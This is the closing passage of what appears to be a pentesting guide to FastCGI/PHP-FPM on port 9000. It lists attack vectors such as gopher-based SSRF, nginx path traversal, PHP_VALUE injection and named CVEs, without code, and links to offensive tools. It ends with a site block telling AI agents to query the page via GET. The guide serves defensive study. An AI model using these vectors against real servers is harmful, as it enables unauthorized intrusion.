9. **Regular security audits** - Check binding and config
10. **Defense in depth** - Firewall + config + monitoring

**Attack Vectors:**

* Direct FastCGI access (if exposed)
* SSRF to localhost:9000 (gopher protocol)
* Nginx misconfiguration (path traversal)
* Parameter injection (PHP\_VALUE abuse)
* Integer overflow (CVE-2024 libfcgi)
* Log manipulation (CVE-2024-9026)

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [FastCGI Specification](https://fastcgi-archives.github.io/FastCGI_Specification.html)
* [PHP-FPM Documentation](https://www.php.net/manual/en/install.fpm.php)
* [Nginx FastCGI Guide](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html)
* [HackTricks FastCGI](https://book.hacktricks.wiki/en/network-services-pentesting/9000-pentesting-fastcgi.html)
* [Gopherus - SSRF Tool](https://github.com/tarunkant/Gopherus)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/fastcgi-port-9000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
